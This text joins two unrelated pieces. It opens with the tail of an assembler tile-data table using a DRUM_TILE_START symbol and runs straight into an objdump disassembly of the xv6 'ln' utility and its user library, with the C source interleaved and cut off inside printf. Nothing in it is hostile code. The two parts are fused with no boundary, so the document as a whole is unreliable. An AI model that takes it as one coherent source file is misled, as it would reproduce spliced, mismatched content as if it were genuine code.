DRUM_TILE_START+4, 1, DRUM_TILE_START+5, 1, $00, 1, DRUM_TILE_START+3, 1, DRUM_TILE_START+4, 1, DRUM_TILE_START+5, $19, $00 db 1, DRUM_TILE_START+6, 1, "B", 1, DRUM_TILE_START+8, 1, $00, 1, DRUM_TILE_START+6, 1, "A", 1, DRUM_TILE_START+8, $19, $00 db 1, DRUM_TILE_START+9, 1, DRUM_TILE_START+10, 1, DRUM_TILE_START+11, 1, $00, 1, DRUM_TILE_START+9, 1, DRUM_TILE_START+10, 1, DRUM_TILE_START+11 db 0
_ln: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 53 push %ebx e: 51 push %ecx f: 89 cb mov %ecx,%ebx if(argc != 3){ 11: 83 3b 03 cmpl $0x3,(%ebx) 14: 74 17 je 2d <main+0x2d> printf(2, "Usage: ln old new\n"); 16: 83 ec 08 sub $0x8,%esp 19: 68 d3 08 00 00 push $0x8d3 1e: 6a 02 push $0x2 20: e8 f8 04 00 00 call 51d <printf> 25: 83 c4 10 add $0x10,%esp exit(); 28: e8 71 03 00 00 call 39e <exit> } if(link(argv[1], argv[2]) < 0) 2d: 8b 43 04 mov 0x4(%ebx),%eax 30: 83 c0 08 add $0x8,%eax 33: 8b 10 mov (%eax),%edx 35: 8b 43 04 mov 0x4(%ebx),%eax 38: 83 c0 04 add $0x4,%eax 3b: 8b 00 mov (%eax),%eax 3d: 83 ec 08 sub $0x8,%esp 40: 52 push %edx 41: 50 push %eax 42: e8 b7 03 00 00 call 3fe <link> 47: 83 c4 10 add $0x10,%esp 4a: 85 c0 test %eax,%eax 4c: 79 21 jns 6f <main+0x6f> printf(2, "link %s %s: failed\n", argv[1], argv[2]); 4e: 8b 43 04 mov 0x4(%ebx),%eax 51: 83 c0 08 add $0x8,%eax 54: 8b 10 mov (%eax),%edx 56: 8b 43 04 mov 0x4(%ebx),%eax 59: 83 c0 04 add $0x4,%eax 5c: 8b 00 mov (%eax),%eax 5e: 52 push %edx 5f: 50 push %eax 60: 68 e6 08 00 00 push $0x8e6 65: 6a 02 push $0x2 67: e8 b1 04 00 00 call 51d <printf> 6c: 83 c4 10 add $0x10,%esp exit(); 6f: e8 2a 03 00 00 call 39e <exit> 00000074 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 74: 55 push %ebp 75: 89 e5 mov %esp,%ebp 77: 57 push %edi 78: 53 push %ebx asm volatile("cld; rep stosb" : 79: 8b 4d 08 mov 0x8(%ebp),%ecx 7c: 8b 55 10 mov 0x10(%ebp),%edx 7f: 8b 45 0c mov 0xc(%ebp),%eax 82: 89 cb mov %ecx,%ebx 84: 89 df mov %ebx,%edi 86: 89 d1 mov %edx,%ecx 88: fc cld 89: f3 aa rep stos %al,%es:(%edi) 8b: 89 ca mov %ecx,%edx 8d: 89 fb mov %edi,%ebx 8f: 89 5d 08 mov %ebx,0x8(%ebp) 92: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 95: 90 nop 96: 5b pop %ebx 97: 5f pop %edi 98: 5d pop %ebp 99: c3 ret 0000009a <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 9a: 55 push %ebp 9b: 89 e5 mov %esp,%ebp 9d: 83 ec 10 sub $0x10,%esp char *os; os = s; a0: 8b 45 08 mov 0x8(%ebp),%eax a3: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) a6: 90 nop a7: 8b 45 08 mov 0x8(%ebp),%eax aa: 8d 50 01 lea 0x1(%eax),%edx ad: 89 55 08 mov %edx,0x8(%ebp) b0: 8b 55 0c mov 0xc(%ebp),%edx b3: 8d 4a 01 lea 0x1(%edx),%ecx b6: 89 4d 0c mov %ecx,0xc(%ebp) b9: 0f b6 12 movzbl (%edx),%edx bc: 88 10 mov %dl,(%eax) be: 0f b6 00 movzbl (%eax),%eax c1: 84 c0 test %al,%al c3: 75 e2 jne a7 <strcpy+0xd> ; return os; c5: 8b 45 fc mov -0x4(%ebp),%eax } c8: c9 leave c9: c3 ret 000000ca <strcmp>: int strcmp(const char *p, const char *q) { ca: 55 push %ebp cb: 89 e5 mov %esp,%ebp while(*p && *p == *q) cd: eb 08 jmp d7 <strcmp+0xd> p++, q++; cf: 83 45 08 01 addl $0x1,0x8(%ebp) d3: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) d7: 8b 45 08 mov 0x8(%ebp),%eax da: 0f b6 00 movzbl (%eax),%eax dd: 84 c0 test %al,%al df: 74 10 je f1 <strcmp+0x27> e1: 8b 45 08 mov 0x8(%ebp),%eax e4: 0f b6 10 movzbl (%eax),%edx e7: 8b 45 0c mov 0xc(%ebp),%eax ea: 0f b6 00 movzbl (%eax),%eax ed: 38 c2 cmp %al,%dl ef: 74 de je cf <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; f1: 8b 45 08 mov 0x8(%ebp),%eax f4: 0f b6 00 movzbl (%eax),%eax f7: 0f b6 d0 movzbl %al,%edx fa: 8b 45 0c mov 0xc(%ebp),%eax fd: 0f b6 00 movzbl (%eax),%eax 100: 0f b6 c0 movzbl %al,%eax 103: 29 c2 sub %eax,%edx 105: 89 d0 mov %edx,%eax } 107: 5d pop %ebp 108: c3 ret 00000109 <strlen>: uint strlen(char *s) { 109: 55 push %ebp 10a: 89 e5 mov %esp,%ebp 10c: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 10f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 116: eb 04 jmp 11c <strlen+0x13> 118: 83 45 fc 01 addl $0x1,-0x4(%ebp) 11c: 8b 55 fc mov -0x4(%ebp),%edx 11f: 8b 45 08 mov 0x8(%ebp),%eax 122: 01 d0 add %edx,%eax 124: 0f b6 00 movzbl (%eax),%eax 127: 84 c0 test %al,%al 129: 75 ed jne 118 <strlen+0xf> ; return n; 12b: 8b 45 fc mov -0x4(%ebp),%eax } 12e: c9 leave 12f: c3 ret 00000130 <memset>: void* memset(void *dst, int c, uint n) { 130: 55 push %ebp 131: 89 e5 mov %esp,%ebp stosb(dst, c, n); 133: 8b 45 10 mov 0x10(%ebp),%eax 136: 50 push %eax 137: ff 75 0c pushl 0xc(%ebp) 13a: ff 75 08 pushl 0x8(%ebp) 13d: e8 32 ff ff ff call 74 <stosb> 142: 83 c4 0c add $0xc,%esp return dst; 145: 8b 45 08 mov 0x8(%ebp),%eax } 148: c9 leave 149: c3 ret 0000014a <strchr>: char* strchr(const char *s, char c) { 14a: 55 push %ebp 14b: 89 e5 mov %esp,%ebp 14d: 83 ec 04 sub $0x4,%esp 150: 8b 45 0c mov 0xc(%ebp),%eax 153: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 156: eb 14 jmp 16c <strchr+0x22> if(*s == c) 158: 8b 45 08 mov 0x8(%ebp),%eax 15b: 0f b6 00 movzbl (%eax),%eax 15e: 3a 45 fc cmp -0x4(%ebp),%al 161: 75 05 jne 168 <strchr+0x1e> return (char*)s; 163: 8b 45 08 mov 0x8(%ebp),%eax 166: eb 13 jmp 17b <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 168: 83 45 08 01 addl $0x1,0x8(%ebp) 16c: 8b 45 08 mov 0x8(%ebp),%eax 16f: 0f b6 00 movzbl (%eax),%eax 172: 84 c0 test %al,%al 174: 75 e2 jne 158 <strchr+0xe> if(*s == c) return (char*)s; return 0; 176: b8 00 00 00 00 mov $0x0,%eax } 17b: c9 leave 17c: c3 ret 0000017d <gets>: char* gets(char *buf, int max) { 17d: 55 push %ebp 17e: 89 e5 mov %esp,%ebp 180: 83 ec 18 sub $0x18,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 183: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 18a: eb 42 jmp 1ce <gets+0x51> cc = read(0, &c, 1); 18c: 83 ec 04 sub $0x4,%esp 18f: 6a 01 push $0x1 191: 8d 45 ef lea -0x11(%ebp),%eax 194: 50 push %eax 195: 6a 00 push $0x0 197: e8 1a 02 00 00 call 3b6 <read> 19c: 83 c4 10 add $0x10,%esp 19f: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 1a2: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1a6: 7e 33 jle 1db <gets+0x5e> break; buf[i++] = c; 1a8: 8b 45 f4 mov -0xc(%ebp),%eax 1ab: 8d 50 01 lea 0x1(%eax),%edx 1ae: 89 55 f4 mov %edx,-0xc(%ebp) 1b1: 89 c2 mov %eax,%edx 1b3: 8b 45 08 mov 0x8(%ebp),%eax 1b6: 01 c2 add %eax,%edx 1b8: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1bc: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 1be: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1c2: 3c 0a cmp $0xa,%al 1c4: 74 16 je 1dc <gets+0x5f> 1c6: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1ca: 3c 0d cmp $0xd,%al 1cc: 74 0e je 1dc <gets+0x5f> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1ce: 8b 45 f4 mov -0xc(%ebp),%eax 1d1: 83 c0 01 add $0x1,%eax 1d4: 3b 45 0c cmp 0xc(%ebp),%eax 1d7: 7c b3 jl 18c <gets+0xf> 1d9: eb 01 jmp 1dc <gets+0x5f> cc = read(0, &c, 1); if(cc < 1) break; 1db: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1dc: 8b 55 f4 mov -0xc(%ebp),%edx 1df: 8b 45 08 mov 0x8(%ebp),%eax 1e2: 01 d0 add %edx,%eax 1e4: c6 00 00 movb $0x0,(%eax) return buf; 1e7: 8b 45 08 mov 0x8(%ebp),%eax } 1ea: c9 leave 1eb: c3 ret 000001ec <stat>: int stat(char *n, struct stat *st) { 1ec: 55 push %ebp 1ed: 89 e5 mov %esp,%ebp 1ef: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 1f2: 83 ec 08 sub $0x8,%esp 1f5: 6a 00 push $0x0 1f7: ff 75 08 pushl 0x8(%ebp) 1fa: e8 df 01 00 00 call 3de <open> 1ff: 83 c4 10 add $0x10,%esp 202: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 205: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 209: 79 07 jns 212 <stat+0x26> return -1; 20b: b8 ff ff ff ff mov $0xffffffff,%eax 210: eb 25 jmp 237 <stat+0x4b> r = fstat(fd, st); 212: 83 ec 08 sub $0x8,%esp 215: ff 75 0c pushl 0xc(%ebp) 218: ff 75 f4 pushl -0xc(%ebp) 21b: e8 d6 01 00 00 call 3f6 <fstat> 220: 83 c4 10 add $0x10,%esp 223: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 226: 83 ec 0c sub $0xc,%esp 229: ff 75 f4 pushl -0xc(%ebp) 22c: e8 95 01 00 00 call 3c6 <close> 231: 83 c4 10 add $0x10,%esp return r; 234: 8b 45 f0 mov -0x10(%ebp),%eax } 237: c9 leave 238: c3 ret 00000239 <atoi>: int atoi(const char *s) { 239: 55 push %ebp 23a: 89 e5 mov %esp,%ebp 23c: 83 ec 10 sub $0x10,%esp int n, sign; n = 0; 23f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while (*s == ' ') s++; 246: eb 04 jmp 24c <atoi+0x13> 248: 83 45 08 01 addl $0x1,0x8(%ebp) 24c: 8b 45 08 mov 0x8(%ebp),%eax 24f: 0f b6 00 movzbl (%eax),%eax 252: 3c 20 cmp $0x20,%al 254: 74 f2 je 248 <atoi+0xf> sign = (*s == '-') ? -1 : 1; 256: 8b 45 08 mov 0x8(%ebp),%eax 259: 0f b6 00 movzbl (%eax),%eax 25c: 3c 2d cmp $0x2d,%al 25e: 75 07 jne 267 <atoi+0x2e> 260: b8 ff ff ff ff mov $0xffffffff,%eax 265: eb 05 jmp 26c <atoi+0x33> 267: b8 01 00 00 00 mov $0x1,%eax 26c: 89 45 f8 mov %eax,-0x8(%ebp) if (*s == '+' || *s == '-') 26f: 8b 45 08 mov 0x8(%ebp),%eax 272: 0f b6 00 movzbl (%eax),%eax 275: 3c 2b cmp $0x2b,%al 277: 74 0a je 283 <atoi+0x4a> 279: 8b 45 08 mov 0x8(%ebp),%eax 27c: 0f b6 00 movzbl (%eax),%eax 27f: 3c 2d cmp $0x2d,%al 281: 75 2b jne 2ae <atoi+0x75> s++; 283: 83 45 08 01 addl $0x1,0x8(%ebp) while('0' <= *s && *s <= '9') 287: eb 25 jmp 2ae <atoi+0x75> n = n*10 + *s++ - '0'; 289: 8b 55 fc mov -0x4(%ebp),%edx 28c: 89 d0 mov %edx,%eax 28e: c1 e0 02 shl $0x2,%eax 291: 01 d0 add %edx,%eax 293: 01 c0 add %eax,%eax 295: 89 c1 mov %eax,%ecx 297: 8b 45 08 mov 0x8(%ebp),%eax 29a: 8d 50 01 lea 0x1(%eax),%edx 29d: 89 55 08 mov %edx,0x8(%ebp) 2a0: 0f b6 00 movzbl (%eax),%eax 2a3: 0f be c0 movsbl %al,%eax 2a6: 01 c8 add %ecx,%eax 2a8: 83 e8 30 sub $0x30,%eax 2ab: 89 45 fc mov %eax,-0x4(%ebp) n = 0; while (*s == ' ') s++; sign = (*s == '-') ? -1 : 1; if (*s == '+' || *s == '-') s++; while('0' <= *s && *s <= '9') 2ae: 8b 45 08 mov 0x8(%ebp),%eax 2b1: 0f b6 00 movzbl (%eax),%eax 2b4: 3c 2f cmp $0x2f,%al 2b6: 7e 0a jle 2c2 <atoi+0x89> 2b8: 8b 45 08 mov 0x8(%ebp),%eax 2bb: 0f b6 00 movzbl (%eax),%eax 2be: 3c 39 cmp $0x39,%al 2c0: 7e c7 jle 289 <atoi+0x50> n = n*10 + *s++ - '0'; return sign*n; 2c2: 8b 45 f8 mov -0x8(%ebp),%eax 2c5: 0f af 45 fc imul -0x4(%ebp),%eax } 2c9: c9 leave 2ca: c3 ret 000002cb <atoo>: int atoo(const char *s) { 2cb: 55 push %ebp 2cc: 89 e5 mov %esp,%ebp 2ce: 83 ec 10 sub $0x10,%esp int n, sign; n = 0; 2d1: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while (*s == ' ') s++; 2d8: eb 04 jmp 2de <atoo+0x13> 2da: 83 45 08 01 addl $0x1,0x8(%ebp) 2de: 8b 45 08 mov 0x8(%ebp),%eax 2e1: 0f b6 00 movzbl (%eax),%eax 2e4: 3c 20 cmp $0x20,%al 2e6: 74 f2 je 2da <atoo+0xf> sign = (*s == '-') ? -1 : 1; 2e8: 8b 45 08 mov 0x8(%ebp),%eax 2eb: 0f b6 00 movzbl (%eax),%eax 2ee: 3c 2d cmp $0x2d,%al 2f0: 75 07 jne 2f9 <atoo+0x2e> 2f2: b8 ff ff ff ff mov $0xffffffff,%eax 2f7: eb 05 jmp 2fe <atoo+0x33> 2f9: b8 01 00 00 00 mov $0x1,%eax 2fe: 89 45 f8 mov %eax,-0x8(%ebp) if (*s == '+' || *s == '-') 301: 8b 45 08 mov 0x8(%ebp),%eax 304: 0f b6 00 movzbl (%eax),%eax 307: 3c 2b cmp $0x2b,%al 309: 74 0a je 315 <atoo+0x4a> 30b: 8b 45 08 mov 0x8(%ebp),%eax 30e: 0f b6 00 movzbl (%eax),%eax 311: 3c 2d cmp $0x2d,%al 313: 75 27 jne 33c <atoo+0x71> s++; 315: 83 45 08 01 addl $0x1,0x8(%ebp) while('0' <= *s && *s <= '7') 319: eb 21 jmp 33c <atoo+0x71> n = n*8 + *s++ - '0'; 31b: 8b 45 fc mov -0x4(%ebp),%eax 31e: 8d 0c c5 00 00 00 00 lea 0x0(,%eax,8),%ecx 325: 8b 45 08 mov 0x8(%ebp),%eax 328: 8d 50 01 lea 0x1(%eax),%edx 32b: 89 55 08 mov %edx,0x8(%ebp) 32e: 0f b6 00 movzbl (%eax),%eax 331: 0f be c0 movsbl %al,%eax 334: 01 c8 add %ecx,%eax 336: 83 e8 30 sub $0x30,%eax 339: 89 45 fc mov %eax,-0x4(%ebp) n = 0; while (*s == ' ') s++; sign = (*s == '-') ? -1 : 1; if (*s == '+' || *s == '-') s++; while('0' <= *s && *s <= '7') 33c: 8b 45 08 mov 0x8(%ebp),%eax 33f: 0f b6 00 movzbl (%eax),%eax 342: 3c 2f cmp $0x2f,%al 344: 7e 0a jle 350 <atoo+0x85> 346: 8b 45 08 mov 0x8(%ebp),%eax 349: 0f b6 00 movzbl (%eax),%eax 34c: 3c 37 cmp $0x37,%al 34e: 7e cb jle 31b <atoo+0x50> n = n*8 + *s++ - '0'; return sign*n; 350: 8b 45 f8 mov -0x8(%ebp),%eax 353: 0f af 45 fc imul -0x4(%ebp),%eax } 357: c9 leave 358: c3 ret 00000359 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 359: 55 push %ebp 35a: 89 e5 mov %esp,%ebp 35c: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 35f: 8b 45 08 mov 0x8(%ebp),%eax 362: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 365: 8b 45 0c mov 0xc(%ebp),%eax 368: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 36b: eb 17 jmp 384 <memmove+0x2b> *dst++ = *src++; 36d: 8b 45 fc mov -0x4(%ebp),%eax 370: 8d 50 01 lea 0x1(%eax),%edx 373: 89 55 fc mov %edx,-0x4(%ebp) 376: 8b 55 f8 mov -0x8(%ebp),%edx 379: 8d 4a 01 lea 0x1(%edx),%ecx 37c: 89 4d f8 mov %ecx,-0x8(%ebp) 37f: 0f b6 12 movzbl (%edx),%edx 382: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 384: 8b 45 10 mov 0x10(%ebp),%eax 387: 8d 50 ff lea -0x1(%eax),%edx 38a: 89 55 10 mov %edx,0x10(%ebp) 38d: 85 c0 test %eax,%eax 38f: 7f dc jg 36d <memmove+0x14> *dst++ = *src++; return vdst; 391: 8b 45 08 mov 0x8(%ebp),%eax } 394: c9 leave 395: c3 ret 00000396 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 396: b8 01 00 00 00 mov $0x1,%eax 39b: cd 40 int $0x40 39d: c3 ret 0000039e <exit>: SYSCALL(exit) 39e: b8 02 00 00 00 mov $0x2,%eax 3a3: cd 40 int $0x40 3a5: c3 ret 000003a6 <wait>: SYSCALL(wait) 3a6: b8 03 00 00 00 mov $0x3,%eax 3ab: cd 40 int $0x40 3ad: c3 ret 000003ae <pipe>: SYSCALL(pipe) 3ae: b8 04 00 00 00 mov $0x4,%eax 3b3: cd 40 int $0x40 3b5: c3 ret 000003b6 <read>: SYSCALL(read) 3b6: b8 05 00 00 00 mov $0x5,%eax 3bb: cd 40 int $0x40 3bd: c3 ret 000003be <write>: SYSCALL(write) 3be: b8 10 00 00 00 mov $0x10,%eax 3c3: cd 40 int $0x40 3c5: c3 ret 000003c6 <close>: SYSCALL(close) 3c6: b8 15 00 00 00 mov $0x15,%eax 3cb: cd 40 int $0x40 3cd: c3 ret 000003ce <kill>: SYSCALL(kill) 3ce: b8 06 00 00 00 mov $0x6,%eax 3d3: cd 40 int $0x40 3d5: c3 ret 000003d6 <exec>: SYSCALL(exec) 3d6: b8 07 00 00 00 mov $0x7,%eax 3db: cd 40 int $0x40 3dd: c3 ret 000003de <open>: SYSCALL(open) 3de: b8 0f 00 00 00 mov $0xf,%eax 3e3: cd 40 int $0x40 3e5: c3 ret 000003e6 <mknod>: SYSCALL(mknod) 3e6: b8 11 00 00 00 mov $0x11,%eax 3eb: cd 40 int $0x40 3ed: c3 ret 000003ee <unlink>: SYSCALL(unlink) 3ee: b8 12 00 00 00 mov $0x12,%eax 3f3: cd 40 int $0x40 3f5: c3 ret 000003f6 <fstat>: SYSCALL(fstat) 3f6: b8 08 00 00 00 mov $0x8,%eax 3fb: cd 40 int $0x40 3fd: c3 ret 000003fe <link>: SYSCALL(link) 3fe: b8 13 00 00 00 mov $0x13,%eax 403: cd 40 int $0x40 405: c3 ret 00000406 <mkdir>: SYSCALL(mkdir) 406: b8 14 00 00 00 mov $0x14,%eax 40b: cd 40 int $0x40 40d: c3 ret 0000040e <chdir>: SYSCALL(chdir) 40e: b8 09 00 00 00 mov $0x9,%eax 413: cd 40 int $0x40 415: c3 ret 00000416 <dup>: SYSCALL(dup) 416: b8 0a 00 00 00 mov $0xa,%eax 41b: cd 40 int $0x40 41d: c3 ret 0000041e <getpid>: SYSCALL(getpid) 41e: b8 0b 00 00 00 mov $0xb,%eax 423: cd 40 int $0x40 425: c3 ret 00000426 <sbrk>: SYSCALL(sbrk) 426: b8 0c 00 00 00 mov $0xc,%eax 42b: cd 40 int $0x40 42d: c3 ret 0000042e <sleep>: SYSCALL(sleep) 42e: b8 0d 00 00 00 mov $0xd,%eax 433: cd 40 int $0x40 435: c3 ret 00000436 <uptime>: SYSCALL(uptime) 436: b8 0e 00 00 00 mov $0xe,%eax 43b: cd 40 int $0x40 43d: c3 ret 0000043e <halt>: SYSCALL(halt) 43e: b8 16 00 00 00 mov $0x16,%eax 443: cd 40 int $0x40 445: c3 ret 00000446 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 446: 55 push %ebp 447: 89 e5 mov %esp,%ebp 449: 83 ec 18 sub $0x18,%esp 44c: 8b 45 0c mov 0xc(%ebp),%eax 44f: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 452: 83 ec 04 sub $0x4,%esp 455: 6a 01 push $0x1 457: 8d 45 f4 lea -0xc(%ebp),%eax 45a: 50 push %eax 45b: ff 75 08 pushl 0x8(%ebp) 45e: e8 5b ff ff ff call 3be <write> 463: 83 c4 10 add $0x10,%esp } 466: 90 nop 467: c9 leave 468: c3 ret 00000469 <printint>: static void printint(int fd, int xx, int base, int sgn) { 469: 55 push %ebp 46a: 89 e5 mov %esp,%ebp 46c: 53 push %ebx 46d: 83 ec 24 sub $0x24,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 470: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 477: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 47b: 74 17 je 494 <printint+0x2b> 47d: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 481: 79 11 jns 494 <printint+0x2b> neg = 1; 483: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 48a: 8b 45 0c mov 0xc(%ebp),%eax 48d: f7 d8 neg %eax 48f: 89 45 ec mov %eax,-0x14(%ebp) 492: eb 06 jmp 49a <printint+0x31> } else { x = xx; 494: 8b 45 0c mov 0xc(%ebp),%eax 497: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 49a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 4a1: 8b 4d f4 mov -0xc(%ebp),%ecx 4a4: 8d 41 01 lea 0x1(%ecx),%eax 4a7: 89 45 f4 mov %eax,-0xc(%ebp) 4aa: 8b 5d 10 mov 0x10(%ebp),%ebx 4ad: 8b 45 ec mov -0x14(%ebp),%eax 4b0: ba 00 00 00 00 mov $0x0,%edx 4b5: f7 f3 div %ebx 4b7: 89 d0 mov %edx,%eax 4b9: 0f b6 80 70 0b 00 00 movzbl 0xb70(%eax),%eax 4c0: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 4c4: 8b 5d 10 mov 0x10(%ebp),%ebx 4c7: 8b 45 ec mov -0x14(%ebp),%eax 4ca: ba 00 00 00 00 mov $0x0,%edx 4cf: f7 f3 div %ebx 4d1: 89 45 ec mov %eax,-0x14(%ebp) 4d4: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 4d8: 75 c7 jne 4a1 <printint+0x38> if(neg) 4da: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 4de: 74 2d je 50d <printint+0xa4> buf[i++] = '-'; 4e0: 8b 45 f4 mov -0xc(%ebp),%eax 4e3: 8d 50 01 lea 0x1(%eax),%edx 4e6: 89 55 f4 mov %edx,-0xc(%ebp) 4e9: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 4ee: eb 1d jmp 50d <printint+0xa4> putc(fd, buf[i]); 4f0: 8d 55 dc lea -0x24(%ebp),%edx 4f3: 8b 45 f4 mov -0xc(%ebp),%eax 4f6: 01 d0 add %edx,%eax 4f8: 0f b6 00 movzbl (%eax),%eax 4fb: 0f be c0 movsbl %al,%eax 4fe: 83 ec 08 sub $0x8,%esp 501: 50 push %eax 502: ff 75 08 pushl 0x8(%ebp) 505: e8 3c ff ff ff call 446 <putc> 50a: 83 c4 10 add $0x10,%esp buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 50d: 83 6d f4 01 subl $0x1,-0xc(%ebp) 511: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 515: 79 d9 jns 4f0 <printint+0x87> putc(fd, buf[i]); } 517: 90 nop 518: 8b 5d fc mov -0x4(%ebp),%ebx 51b: c9 leave 51c: c3 ret 0000051d <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 51d: 55 push %ebp 51e: 89 e5 mov %esp,%ebp 520: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 523: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 52a: 8d 45 0c lea 0xc(%ebp),%eax 52d: 83 c0 04 add $0x4,%eax 530: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 533: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 53a: e9 59 01 00 00 jmp 698 <printf+0x17b> c = fmt[i] & 0xff; 53f: 8b 55 0c mov 0xc(%ebp),%edx 542: 8b 45 f0 mov -0x10(%ebp),%eax 545: 01 d0 add %edx,%eax 547: 0f b6 00 movzbl (%eax),%eax 54a: 0f be c0 movsbl %al,%eax 54d: 25 ff 00 00 00 and $0xff,%eax 552: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 555: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 559: 75 2c jne 587 <printf+0x6a> if(c == '%'){ 55b: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 55f: 75 0c jne 56d <printf+0x50> state = '%'; 561: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 568: e9 27 01 00 00 jmp 694 <printf+0x177> } else { putc(fd, c); 56d: 8b 45 e4 mov -0x1c(%ebp),%eax 570: 0f be c0 movsbl %al,%eax 573: 83 ec 08 sub $0x8,%esp 576: 50 push %eax 577: ff 75 08 pushl 0x8(%ebp) 57a: e8 c7 fe ff ff call 446 <putc> 57f: 83 c4 10 add $0x10,%esp 582: e9 0d 01 00 00 jmp 694 <printf+0x177> } } else if(state == '%'){ 587: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 58b: 0f 85 03 01 00 00 jne 694 <printf+0x177> if(c == 'd'){ 591: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 595: 75 1e jne 5b5 <printf+0x98> printint(fd, *ap, 10, 1); 597: 8b 45 e8 mov -0x18(%ebp),%eax 59a: 8b 00 mov (%eax),%eax 59c: 6a 01 push $0x1 59e: 6a 0a push $0xa 5a0: 50 push %eax 5a1: ff 75 08 pushl 0x8(%ebp) 5a4: e8 c0 fe ff ff call 469 <printint> 5a9: 83 c4 10 add $0x10,%esp ap++; 5ac: 83 45 e8 04 addl $0x4,-0x18(%ebp) 5b0: e9 d8 00 00 00 jmp 68d <printf+0x170> } else if(c == 'x' || c == 'p'){ 5b5: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 5b9: 74 06 je 5c1 <printf+0xa4> 5bb: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 5bf: 75 1e jne 5df <printf+0xc2> printint(fd, *ap, 16, 0); 5c1: 8b 45 e8 mov -0x18(%ebp),%eax 5c4: 8b 00 mov (%eax),%eax 5c6: 6a 00 push $0x0 5c8: 6a 10 push $0x10 5ca: 50 push %eax 5cb: ff 75 08 pushl 0x8(%ebp) 5ce: e8 96 fe ff ff call 469 <printint> 5d3: 83 c4 10 add $0x10,%esp ap++; 5d6: 83 45 e8 04 addl $0x4,-0x18(%ebp) 5da: e9 ae 00 00 00 jmp 68d <printf+0x170> } else if(c == 's'){ 5df: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 5e3: 75 43 jne 628 <printf+0x10b> s = (char*)*ap; 5e5: 8b 45 e8 mov -0x18(%ebp),%eax 5e8: 8b 00 mov (%eax),%eax 5ea: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 5ed: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 5f1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 5f5: 75 25 jne 61c <printf+0xff> s = "(null)"; 5f7: c7 45 f4 fa 08 00 00 movl $0x8fa,-0xc(%ebp) while(*s != 0){ 5fe: eb 1c jmp 61c <printf+0xff> putc(fd, *s); 600: 8b 45 f4 mov 